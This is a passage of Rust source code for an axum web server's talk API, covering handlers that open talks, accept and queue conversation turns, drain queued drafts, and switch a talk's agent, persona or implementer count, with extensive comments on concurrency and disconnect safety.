7055    State(ui): State<Arc<Ui>>,
7056    body: std::result::Result<Json<NewTalk>, JsonRejection>,
7057) -> ApiResult<impl IntoResponse> {
7058    // An absent body, or an empty one, is the normal way to open a talk - see
7059    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
7060    // rather than refused.
7061    let body = match body {
7062        Ok(Json(body)) => body,
7063        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7064        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7065    };
7066    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7067    let cfg = config_for(&repo).await?;
7068    let view = blocking(move || {
7069        let preferred = talk::Preferred {
7070            agent: body
7071                .preferred_agent
7072                .as_ref()
7073                .and_then(|v| v.as_str())
7074                .map(str::to_owned),
7075            persona: body
7076                .persona
7077                .as_ref()
7078                .and_then(|v| v.as_str())
7079                .map(str::to_owned),
7080            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7081        };
7082        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7083        let thinking = ui.is_thinking(&talk.id);
7084        Ok(TalkView::new(talk, thinking))
7085    })
7086    .await?;
7087    Ok((StatusCode::CREATED, Json(view)))
7088}
7089
7090/// `GET /api/talks/{id}`.
7091async fn talk_detail(
7092    State(ui): State<Arc<Ui>>,
7093    Path(id): Path<String>,
7094) -> ApiResult<Json<TalkDetailView>> {
7095    blocking(move || {
7096        let id = resolve_talk(&ui.talks, &id)?;
7097        let talk = ui.talks.get(&id)?;
7098        let thinking = ui.is_thinking(&talk.id);
7099        let tasks = talk::tasks_of(&ui.queue, &talk.id)
7100            .into_iter()
7101            .map(TaskView::from)
7102            .collect();
7103        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7104        let roster = cfg
7105            .as_ref()
7106            .map(|cfg| {
7107                cfg.agents
7108                    .iter()
7109                    .map(|a| RosterEntry {
7110                        id: a.id.clone(),
7111                        kind: a.kind,
7112                        runnable: agent::installed(a),
7113                    })
7114                    .collect()
7115            })
7116            .unwrap_or_default();
7117        let specs = cfg
7118            .as_ref()
7119            .map(|cfg| cfg.talk.personas.clone())
7120            .unwrap_or_default();
7121        let personas = persona::catalog(&specs)
7122            .into_iter()
7123            .map(|p| PersonaEntry {
7124                avatar: avatar_url(&talk.id, &p),
7125                id: p.id,
7126                name: p.name,
7127            })
7128            .collect();
7129        Ok(Json(TalkDetailView {
7130            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
7131            tasks,
7132            roster,
7133            personas,
7134        }))
7135    })
7136    .await
7137}
7138
7139/// The body of `POST /api/talks/{id}/say`.
7140///
7141/// `attachments` names ids `POST /api/talks/{id}/attachments` already
7142/// returned - never bytes of its own - so a turn with no images just omits
7143/// the field, which is what an older front end still does.
7144#[derive(Debug, Default, Deserialize)]
7145#[serde(default, deny_unknown_fields)]
7146struct NewTalkTurn {
7147    reply_to: Option<talk::ReplyTarget>,
7148    text: String,
7149    attachments: Vec<String>,
7150}
7151
7152#[derive(Debug, Deserialize)]
7153#[serde(deny_unknown_fields)]
7154struct EditTalkPending {
7155    #[serde(default)]
7156    message: Option<usize>,
7157    text: String,
7158    expected_text: String,
7159    expected_attachments: Vec<String>,
7160}
7161
7162#[derive(Debug, Deserialize)]
7163#[serde(deny_unknown_fields)]
7164struct ClearTalkPending {
7165    expected_text: String,
7166    expected_attachments: Vec<String>,
7167}
7168
7169/// `POST /api/talks/{id}/say` - one turn of the conversation.
7170///
7171/// Not filesystem work, and therefore not routed through [`blocking`]: this
7172/// route spawns an agent CLI and a turn here can run for the whole of
7173/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
7174/// research turn is expected to run commands rather than answer from what it
7175/// already knows. Holding an HTTP connection open that long is not a thing
7176/// to ask a phone to do; the operator's message is recorded and answered for
7177/// immediately, and the reply lands in the background, discovered through
7178/// the change stream's `talks_rev` the same way every other update on this
7179/// surface is.
7180async fn talk_say(
7181    State(ui): State<Arc<Ui>>,
7182    Path(id): Path<String>,
7183    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7184) -> ApiResult<(StatusCode, Json<TalkView>)> {
7185    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7186    if body.text.trim().is_empty() && body.attachments.is_empty() {
7187        return Err(ApiError::bad_request("say something"));
7188    }
7189
7190    let id = {
7191        let ui = Arc::clone(&ui);
7192        let asked = id.clone();
7193        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7194    };
7195    // A closed Talk never accepts a new immediate or queued turn. Check this
7196    // before claiming a slot so its ordinary domain refusal is a 409, not an
7197    // incidental failure from the later record/queue write.
7198    {
7199        let ui = Arc::clone(&ui);
7200        let id = id.clone();
7201        blocking(move || {
7202            let talk = ui.talks.get(&id)?;
7203            if !talk.status.open() {
7204                return Err(ApiError::conflict(format!(
7205                    "talk {} is {} and takes no more turns",
7206                    talk.short(),
7207                    talk.status.as_str()
7208                )));
7209            }
7210            Ok(())
7211        })
7212        .await?;
7213    }
7214
7215    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
7216    // actually stores, before anything is written - an unknown id is a 4xx
7217    // that names it rather than a turn (or a queued draft) silently missing
7218    // an image.
7219    let attachments = {
7220        let ui = Arc::clone(&ui);
7221        let id = id.clone();
7222        let ids = body.attachments.clone();
7223        blocking(move || {
7224            ids.into_iter()
7225                .map(|att_id| {
7226                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7227                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7228                    })
7229                })
7230                .collect::<ApiResult<Vec<talk::Attachment>>>()
7231        })
7232        .await?
7233    };
7234
7235    // Pending recovery and a new immediate turn are decided under the same
7236    // claim lock. Without that one critical section, a second `/say` can see
7237    // the first request's claim as "busy" and append itself to the recovered
7238    // draft before the first request rejects it.
7239    let start = {
7240        let ui = Arc::clone(&ui);
7241        let id = id.clone();
7242        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7243    };
7244    let turn_guard = match start {
7245        TalkTurnStart::Claimed(turn_guard) => turn_guard,
7246        TalkTurnStart::Pending => {
7247            return Err(ApiError::conflict(
7248                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7249            ));
7250        }
7251        TalkTurnStart::Foreign => {
7252            return Err(ApiError::conflict(
7253                "a turn is already running in another process; try again when it has finished",
7254            ));
7255        }
7256        TalkTurnStart::Busy => {
7257            // A turn is already running: queue rather than refuse. See
7258            // `Ui::begin_talk_turn` and `talk::queue`.
7259            //
7260            // The queue write and the drain it may owe live inside the task
7261            // `tokio::spawn` hands to the runtime, for the same reason the
7262            // immediate path below puts `record` there: a dropped handler
7263            // future must not be able to land between a durable write and
7264            // the task that answers it. `blocking` runs its closure on
7265            // `spawn_blocking`, which finishes whether or not anyone is left
7266            // to receive its result - so a disconnect at the `.await` below
7267            // would otherwise leave the draft persisted and the reclaimed
7268            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
7269            // ever started and the queued text stranded until some later
7270            // `say` happened to pick it up. The caller's 202 travels back
7271            // over a `oneshot`, sent the moment the write lands.
7272            let (tx, rx) = tokio::sync::oneshot::channel();
7273            tokio::spawn({
7274                let ui = Arc::clone(&ui);
7275                let id = id.clone();
7276                let said = body.text.clone();
7277                let reply_to = body.reply_to.clone();
7278                async move {
7279                    let written = blocking({
7280                        let ui = Arc::clone(&ui);
7281                        let id = id.clone();
7282                        move || {
7283                            let mut talk = ui.talks.get(&id)?;
7284                            // A test-only stop point, right before the write
7285                            // an interleaving test needs to pin - see
7286                            // `BusyQueueGate`. `None` in every real server:
7287                            // the field only exists under `#[cfg(test)]`.
7288                            #[cfg(test)]
7289                            if let Some(gate) = ui
7290                                .busy_queue_gate
7291                                .lock()
7292                                .unwrap_or_else(PoisonError::into_inner)
7293                                .take()
7294                            {
7295                                let _ = gate.reached.send(());
7296                                let _ = gate.release.recv();
7297                            }
7298                            if let Err(error) = talk::queue_reply(
7299                                &mut talk,
7300                                &ui.talks,
7301                                &said,
7302                                attachments,
7303                                reply_to,
7304                            ) {
7305                                if let Ok(fresh) = ui.talks.get(&id) {
7306                                    if !fresh.status.open() {
7307                                        return Err(ApiError::conflict(format!(
7308                                            "talk {} is {} and takes no more turns",
7309                                            fresh.short(),
7310                                            fresh.status.as_str()
7311                                        )));
7312                                    }
7313                                }
7314                                return Err(
7315                                    if error.to_string().contains("invalid reply target") {
7316                                        ApiError::bad_request("invalid reply target")
7317                                    } else {
7318                                        ApiError::from(error)
7319                                    },
7320                                );
7321                            }
7322                            // The turn that looked busy a moment ago can have
7323                            // finished, found nothing to drain and given up the
7324                            // slot in the gap between that check and this write
7325                            // landing - see `drain_loop`'s own doc for the other
7326                            // half of why that gap would otherwise be able to
7327                            // open at all. Reclaiming the slot here, rather than
7328                            // trusting that whoever held it is still watching, is
7329                            // what stops the text just queued from being stranded
7330                            // until an unrelated future `say` happens to drain
7331                            // it.
7332                            let claim = match ui.begin_queued_talk_turn(&id)? {
7333                                Some(turn_guard) => {
7334                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7335                                    Some((talk.clone(), cfg, turn_guard))
7336                                }
7337                                None => None,
7338                            };
7339                            let thinking = ui.is_thinking(&id);
7340                            Ok((TalkView::new(talk, thinking), claim))
7341                        }
7342                    })
7343                    .await;
7344                    let (view, reclaimed) = match written {
7345                        Ok(pair) => pair,
7346                        Err(e) => {
7347                            // Nobody is listening if the handler's own future
7348                            // was already dropped - that is fine, nothing was
7349                            // persisted and there is no response left to carry
7350                            // this error to.
7351                            let _ = tx.send(Err(e));
7352                            return;
7353                        }
7354                    };
7355                    // If this fails, the caller is gone; the drain below still
7356                    // runs exactly as it would have for a caller that stayed.
7357                    let _ = tx.send(Ok(view));
7358                    if let Some((talk, cfg, turn_guard)) = reclaimed {
7359                        let talks = ui.talks.clone();
7360                        drain_loop(talk, talks, cfg, id, turn_guard).await;
7361                    }
7362                }
7363            });
7364            let view = rx
7365                .await
7366                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7367            return Ok((StatusCode::ACCEPTED, Json(view)));
7368        }
7369    };
7370
7371    let (talk, cfg) = {
7372        let ui = Arc::clone(&ui);
7373        let id = id.clone();
7374        blocking(move || {
7375            let talk = ui.talks.get(&id)?;
7376            let (cfg, _) = Config::discover(&talk.repo, None)?;
7377            Ok((talk, cfg))
7378        })
7379        .await?
7380    };
7381
7382    let talks = ui.talks.clone();
7383    // `record` runs *inside* the spawned task, rather than in this handler
7384    // followed by a separate `tokio::spawn` for `respond` - axum drops this
7385    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
7386    // doc), and that drop can land at any `.await` this function makes,
7387    // including one that has already produced its result but not yet
7388    // resumed. A message could end up recorded on disk with the handler
7389    // future gone before it ever reached the `tokio::spawn` that would have
7390    // started the reply. `tokio::spawn` itself is a plain, synchronous call
7391    // that hands the whole future to the runtime as one unit - once made, no
7392    // later drop of *this* handler's own future (that call's return value is
7393    // never held onto here) can reach back in and stop it, so record and the
7394    // hand-off to `respond` are unconditionally atomic from the client's
7395    // point of view. The immediate response this handler owes the caller
7396    // travels back over a `oneshot`, sent the moment `record` succeeds.
7397    let (tx, rx) = tokio::sync::oneshot::channel();
7398    tokio::spawn({
7399        let ui = Arc::clone(&ui);
7400        let talks = talks.clone();
7401        let id = id.clone();
7402        let said = body.text.clone();
7403        let reply_to = body.reply_to.clone();
7404        let mut talk = talk.clone();
7405        async move {
7406            let recorded = blocking({
7407                let talks = talks.clone();
7408                move || {
7409                    if let Err(error) =
7410                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7411                    {
7412                        if let Ok(fresh) = talks.get(&talk.id) {
7413                            if !fresh.status.open() {
7414                                return Err(ApiError::conflict(format!(
7415                                    "talk {} is {} and takes no more turns",
7416                                    fresh.short(),
7417                                    fresh.status.as_str()
7418                                )));
7419                            }
7420                        }
7421                        return Err(if error.to_string().contains("invalid reply target") {
7422                            ApiError::bad_request("invalid reply target")
7423                        } else {
7424                            ApiError::from(error)
7425                        });
7426                    }
7427                    // `record` mutates `talk` in place to the freshly persisted
7428                    // state (status, pending, and the just-appended operator
7429                    // turn), so returning it here is equivalent to re-reading it
7430                    // from disk - without the extra round trip a re-read would
7431                    // need.
7432                    Ok((said.trim().to_owned(), talk))
7433                }
7434            })
7435            .await;
7436            let (text, mut talk) = match recorded {
7437                Ok(pair) => pair,
7438                Err(e) => {
7439                    // Nobody is listening if the handler's own future was
7440                    // already dropped - that is fine, there is no response
7441                    // left to carry this error to and nothing was persisted.
7442                    let _ = tx.send(Err(e));
7443                    return;
7444                }
7445            };
7446            let queued = talk.clone();
7447            let thinking = ui.is_thinking(&id);
7448            // If this fails, the caller is gone; the turn still runs below
7449            // exactly as it would have for a caller that stayed connected.
7450            let _ = tx.send(Ok((queued, thinking)));
7451
7452            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7453                // `respond` records the failure in the transcript itself,
7454                // which is what the phone reads; this line is for the
7455                // operator's terminal.
7456                tracing::warn!("talk {id} turn failed: {e:#}");
7457            }
7458            // Anything `talk::queue` added while the turn above was running
7459            // is still owed an answer - see `drain_loop`.
7460            drain_loop(talk, talks, cfg, id, turn_guard).await;
7461        }
7462    });
7463
7464    let (queued, thinking) = rx
7465        .await
7466        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7467
7468    // 202: the operator's message is recorded and a turn is running.
7469    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7470}
7471
7472/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
7473/// changing it. The turn guard is the same per-talk ownership `talk_say`
7474/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
7475async fn talk_pending_resume(
7476    State(ui): State<Arc<Ui>>,
7477    Path(id): Path<String>,
7478) -> ApiResult<(StatusCode, Json<TalkView>)> {
7479    let id = {
7480        let ui = Arc::clone(&ui);
7481        let asked = id.clone();
7482        blocking(move || resolve_talk(&ui.talks, &asked)).await?
7483    };
7484    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7485        return Err(ApiError::conflict(
7486            "a talk turn is already running; the queued draft will be handled by it",
7487        ));
7488    };
7489    let (talk, cfg) = {
7490        let ui = Arc::clone(&ui);
7491        let id = id.clone();
7492        blocking(move || {
7493            let talk = ui.talks.get(&id)?;
7494            if !talk.status.open() {
7495                return Err(ApiError::conflict(format!(
7496                    "talk {} is {} and takes no more turns",
7497                    talk.short(),
7498                    talk.status.as_str()
7499                )));
7500            }
7501            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7502                return Err(ApiError::conflict("there is no queued draft to resume"));
7503            }
7504            let (cfg, _) = Config::discover(&talk.repo, None)?;
7505            Ok((talk, cfg))
7506        })
7507        .await?
7508    };
7509    let view = TalkView::new(talk.clone(), true);
7510    let talks = ui.talks.clone();
7511    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7512    Ok((StatusCode::ACCEPTED, Json(view)))
7513}
7514
7515/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
7516/// releasing `turn` only once a check finds it truly empty. Shared by both
7517/// callers that can end up owning a talk's turn slot with something already
7518/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
7519/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
7520/// holder just gave up - see the comment at that call site.
7521///
7522/// The release is folded into the final generation check under `turn`'s own
7523/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
7524/// free". Before its blocking `talk::drain`, this loop observes the queued
7525/// generation. A `say` that sees the turn busy writes its draft, then advances
7526/// that generation. Thus, if it lands while the drain is in flight, the final
7527/// check observes the advance and drains again; otherwise it releases the
7528/// claim while holding the same lock. This keeps the release/arrival handoff
7529/// atomic without holding the global claim mutex across filesystem I/O.
7530async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7531    drain_loop_started(talk, talks, cfg, id, turn, None).await;
7532}
7533
7534/// A settings response must not report idle while its claim is still held.
7535/// Wait until the first drain either releases the claim or promotes a draft.
7536/// The task owns the guard even if the HTTP handler is cancelled while waiting.
7537async fn settle_settings_turn(
7538    talk: Talk,
7539    talks: Talks,
7540    cfg: Config,
7541    id: String,
7542    turn: TalkTurnGuard,
7543    observed: u64,
7544) -> bool {
7545    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7546        let turns = Arc::clone(&turn.turns);
7547        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7548        if live.queued.get(&id).copied().unwrap_or(0) == observed {
7549            // Release under the arrival lock; a later `/say` takes its own claim.
7550            turn.release(&mut live);
7551            return false;
7552        }
7553    }
7554    let (started, settled) = tokio::sync::oneshot::channel();
7555    tokio::spawn(drain_loop_started(
7556        talk,
7557        talks,
7558        cfg,
7559        id,
7560        turn,
7561        Some(started),
7562    ));
7563    settled.await.unwrap_or(false)
7564}
7565
7566async fn drain_loop_started(
7567    mut talk: Talk,
7568    talks: Talks,
7569    cfg: Config,
7570    id: String,
7571    turn: TalkTurnGuard,
7572    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7573) {
7574    let live_set = Arc::clone(&turn.turns);
7575    // `Option` rather than binding `turn` directly to a `_turn` that lives
7576    // for the whole function: releasing it has to happen by calling
7577    // `TalkTurnGuard::release` from inside the locked branch below, which
7578    // takes `self` by value. Left as a plain drop instead, `Drop` would still
7579    // remove the id - correctly, if this loop is ever left some other way -
7580    // but doing it there misses the lock this loop is already holding, which
7581    // is the exact gap `release` exists to close.
7582    let mut turn = Some(turn);
7583    loop {
7584        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7585            // The lease was taken over while a turn ran. Whatever is queued
7586            // stays a draft; running it here would race the new owner.
7587            tracing::warn!("talk {id} lost its turn lease; not draining further");
7588            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7589            if let Some(turn) = turn.take() {
7590                turn.release(&mut live);
7591            }
7592            break;
7593        }
7594        {
7595            // A parking upgrade starts no further turn: whatever is queued
7596            // stays a durable draft for the successor.
7597            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7598            if live.parking {
7599                if let Some(turn) = turn.take() {
7600                    turn.release(&mut live);
7601                }
7602                break;
7603            }
7604        }
7605        // `talk::drain` takes the store lock and can write/rename the talk
7606        // file. Keep the turn mutex out of that synchronous work: it protects
7607        // every talk's in-memory claim, not this talk's disk operation.
7608        let observed = live_set
7609            .lock()
7610            .unwrap_or_else(PoisonError::into_inner)
7611            .queued
7612            .get(&id)
7613            .copied()
7614            .unwrap_or(0);
7615        let drained = blocking({
7616            let talks = talks.clone();
7617            let live_set = Arc::clone(&live_set);
7618            move || {
7619                // Promoting a draft is what starts a turn, so it is decided
7620                // under the same lock a parking upgrade takes: either the
7621                // promotion lands first (and its turn is waited for) or the
7622                // draft stays queued.
7623                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7624                let result = if live.parking {
7625                    Ok(None)
7626                } else {
7627                    talk::drain(&mut talk, &talks)
7628                };
7629                drop(live);
7630                Ok((talk, result))
7631            }
7632        })
7633        .await;
7634        let (next_talk, result) = match drained {
7635            Ok(drained) => drained,
7636            Err(e) => {
7637                tracing::warn!(
7638                    status = %e.status,
7639                    message = %e.message,
7640                    "talk {id} could not start queued-text drain"
7641                );
7642                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7643                turn.take()
7644                    .expect("held for the whole loop until released here")
7645                    .release(&mut live);
7646                break;
7647            }
7648        };
7649        talk = next_talk;
7650        let drained = match result {
7651            Ok(Some(drained)) => drained,
7652            Ok(None) => {
7653                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7654                if live.queued.get(&id).copied().unwrap_or(0) != observed {
7655                    continue;
7656                }
7657                turn.take()
7658                    .expect("held for the whole loop until released here")
7659                    .release(&mut live);
7660                break;
7661            }
7662            Err(e) => {
7663                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7664                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7665                turn.take()
7666                    .expect("held for the whole loop until released here")
7667                    .release(&mut live);
7668                break;
7669            }
7670        };
7671        if let Some(started) = started.take() {
7672            let _ = started.send(true);
7673        }
7674        let responded = match turn.as_ref() {
7675            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7676            None => Err(anyhow::anyhow!("the turn guard was released")),
7677        };
7678        if let Err(e) = responded {
7679            tracing::warn!("talk {id} turn failed: {e:#}");
7680        }
7681    }
7682    drop(turn);
7683    if let Some(started) = started {
7684        let _ = started.send(false);
7685    }
7686}
7687
7688/// Clear a queued draft only if it remains exactly the one the caller saw.
7689async fn talk_pending_clear(
7690    State(ui): State<Arc<Ui>>,
7691    Path(id): Path<String>,
7692    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7693) -> ApiResult<Json<TalkView>> {
7694    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7695    blocking(move || {
7696        let id = resolve_talk(&ui.talks, &id)?;
7697        let mut talk = ui.talks.get(&id)?;
7698        if !talk.status.open() {
7699            return Err(ApiError::conflict(format!(
7700                "talk {} is {} and takes no more turns",
7701                talk.short(),
7702                talk.status.as_str()
7703            )));
7704        }
7705        if !talk::clear_pending_if_matches(
7706            &mut talk,
7707            &ui.talks,
7708            &body.expected_text,
7709            &body.expected_attachments,
7710        )? {
7711            return Err(ApiError::conflict(
7712                "queued message changed; reload it before clearing",
7713            ));
7714        }
7715        let thinking = ui.is_thinking(&talk.id);
7716        Ok(Json(TalkView::new(talk, thinking)))
7717    })
7718    .await
7719}
7720
7721/// Atomically edit a queued draft's text while preserving its attachments.
7722/// The snapshot fields make a concurrent queue or drain a conflict rather
7723/// than silently discarding either message.
7724async fn talk_pending_edit(
7725    State(ui): State<Arc<Ui>>,
7726    Path(id): Path<String>,
7727    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7728) -> ApiResult<Json<TalkView>> {
7729    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7730    let (view, reclaimed) = blocking({
7731        let ui = Arc::clone(&ui);
7732        move || {
7733            let id = resolve_talk(&ui.talks, &id)?;
7734            let mut talk = ui.talks.get(&id)?;
7735            if !talk.status.open() {
7736                return Err(ApiError::conflict(format!(
7737                    "talk {} is {} and takes no more turns",
7738                    talk.short(),
7739                    talk.status.as_str()
7740                )));
7741            }
7742            if !talk::edit_pending_message(
7743                &mut talk,
7744                &ui.talks,
7745                &body.text,
7746                &body.expected_text,
7747                &body.expected_attachments,
7748                body.message,
7749            )? {
7750                return Err(ApiError::conflict(
7751                    "queued message changed; reload it before editing",
7752                ));
7753            }
7754            let claim = match ui.begin_queued_talk_turn(&id)? {
7755                Some(turn_guard) => {
7756                    let (cfg, _) = Config::discover(&talk.repo, None)?;
7757                    Some((talk.clone(), cfg, id.clone(), turn_guard))
7758                }
7759                None => None,
7760            };
7761            let thinking = ui.is_thinking(&id);
7762            Ok((TalkView::new(talk, thinking), claim))
7763        }
7764    })
7765    .await?;
7766    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7767        let talks = ui.talks.clone();
7768        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7769    }
7770    Ok(Json(view))
7771}
7772
7773/// The 409 for a talk that takes no more turns.
7774fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7775    if talk.status.open() {
7776        return Ok(());
7777    }
7778    Err(ApiError::conflict(format!(
7779        "talk {} is {} and takes no more turns",
7780        talk.short(),
7781        talk.status.as_str()
7782    )))
7783}
7784
7785/// The body of `POST /api/talks/{id}/agent`.
7786#[derive(Debug, Deserialize)]
7787struct TalkAgent {
7788    agent: String,
7789}
7790
7791/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
7792/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
7793/// start a turn on the old session between the check and the write; one that
7794/// arrives in that window finds the talk busy and becomes a draft.
7795async fn talk_agent(
7796    State(ui): State<Arc<Ui>>,
7797    Path(id): Path<String>,
7798    Json(body): Json<TalkAgent>,
7799) -> ApiResult<Json<TalkView>> {
7800    let id = {
7801        let ui = Arc::clone(&ui);
7802        blocking(move || resolve_talk(&ui.talks, &id)).await?
7803    };
7804    let repo = {
7805        let ui = Arc::clone(&ui);
7806        let id = id.clone();
7807        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7808    };
7809    let cfg = config_for(&repo).await?;
7810    // Refuse before taking the claim; see `talk_implementers`.
7811    {
7812        let ui = Arc::clone(&ui);
7813        let id = id.clone();
7814        let cfg = cfg.clone();
7815        let wanted = body.agent.clone();
7816        blocking(move || {
7817            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7818                .map_err(ApiError::bad_request_from)?;
7819            refuse_if_closed(&ui.talks.get(&id)?)
7820        })
7821        .await?;
7822    }
7823    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7824        return Err(ApiError::conflict(
7825            "a talk turn is running; change the agent once it has answered",
7826        ));
7827    };
7828    let switched = {
7829        let ui = Arc::clone(&ui);
7830        let id = id.clone();
7831        let cfg = cfg.clone();
7832        blocking(move || {
7833            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7834                .map_err(ApiError::bad_request_from)?;
7835            let mut talk = ui.talks.get(&id)?;
7836            if !talk.status.open() {
7837                return Err(ApiError::conflict(format!(
7838                    "talk {} is {} and takes no more turns",
7839                    talk.short(),
7840                    talk.status.as_str()
7841                )));
7842            }
7843            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
7844            Ok(talk)
7845        })
7846        .await
7847    };
7848    // A `/say` that landed while this held the claim saw the talk busy and
7849    // left a durable draft, trusting the claim's owner to drain it. So the
7850    // claim is settled whatever the outcome. Release an empty draft's claim
7851    // before replying; queued drafts continue independently of the handler.
7852    let observed = ui.queued_generation(&id);
7853    let fresh = {
7854        let ui = Arc::clone(&ui);
7855        let id = id.clone();
7856        blocking(move || Ok(ui.talks.get(&id)?)).await
7857    };
7858    let draining = match fresh {
7859        Ok(talk) => {
7860            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7861        }
7862        Err(_) => false,
7863    };
7864    let talk = switched?;
7865    Ok(Json(TalkView::new(talk, draining)))
7866}
7867
7868/// The body of `POST /api/talks/{id}/persona`.
7869#[derive(Debug, Deserialize)]
7870struct TalkPersona {
7871    persona: String,
7872}
7873
7874/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
7875/// like [`talk_agent`]: the turn guard is held for the change and always handed
7876/// to `drain_loop`, so a draft left meanwhile is not stranded.
7877async fn talk_persona(
7878    State(ui): State<Arc<Ui>>,
7879    Path(id): Path<String>,
7880    Json(body): Json<TalkPersona>,
7881) -> ApiResult<Json<TalkView>> {
7882    let id = {
7883        let ui = Arc::clone(&ui);
7884        blocking(move || resolve_talk(&ui.talks, &id)).await?
7885    };
7886    let repo = {
7887        let ui = Arc::clone(&ui);
7888        let id = id.clone();
7889        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7890    };
7891    let cfg = config_for(&repo).await?;
7892    // Refuse before taking the claim; see `talk_implementers`.
7893    {
7894        let ui = Arc::clone(&ui);
7895        let id = id.clone();
7896        let cfg = cfg.clone();
7897        let wanted = body.persona.clone();
7898        blocking(move || {
7899            if persona::find(&cfg.talk.personas, &wanted).is_none() {
7900                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
7901            }
7902            refuse_if_closed(&ui.talks.get(&id)?)
7903        })
7904        .await?;
7905    }
7906    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7907        return Err(ApiError::conflict(
7908            "a talk turn is running; change the persona once it has answered",
7909        ));
7910    };
7911    let switched = {
7912        let ui = Arc::clone(&ui);
7913        let id = id.clone();
7914        let cfg = cfg.clone();
7915        blocking(move || {
7916            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7917                return Err(ApiError::bad_request(format!(
7918                    "unknown persona `{}`",
7919                    body.persona
7920                )));
7921            };
7922            let mut talk = ui.talks.get(&id)?;
7923            if !talk.status.open() {
7924                return Err(ApiError::conflict(format!(
7925                    "talk {} is {} and takes no more turns",
7926                    talk.short(),
7927                    talk.status.as_str()
7928                )));
7929            }
7930            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7931            Ok(talk)
7932        })
7933        .await
7934    };
7935    // As in `talk_agent`: settle the claim before replying, even on refusal.
7936    let observed = ui.queued_generation(&id);
7937    let fresh = {
7938        let ui = Arc::clone(&ui);
7939        let id = id.clone();
7940        blocking(move || Ok(ui.talks.get(&id)?)).await
7941    };
7942    let draining = match fresh {
7943        Ok(talk) => {
7944            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
7945        }
7946        Err(_) => false,
7947    };
7948    let talk = switched?;
7949    Ok(Json(TalkView::new(talk, draining)))
7950}
7951
7952/// The body of `POST /api/talks/{id}/implementers`.
7953#[derive(Debug, Deserialize)]
7954struct TalkImplementers {
7955    implementers: u8,
7956}
7957
7958/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7959/// like [`talk_agent`]: the turn guard is held for the change and always handed
7960/// to `drain_loop`, so a draft left meanwhile is not stranded.
7961async fn talk_implementers(
7962    State(ui): State<Arc<Ui>>,
7963    Path(id): Path<String>,
7964    Json(body): Json<TalkImplementers>,
7965) -> ApiResult<Json<TalkView>> {
7966    let id = {
7967        let ui = Arc::clone(&ui);
7968        blocking(move || resolve_talk(&ui.talks, &id)).await?
7969    };
7970    let repo = {
7971        let ui = Arc::clone(&ui);
7972        let id = id.clone();
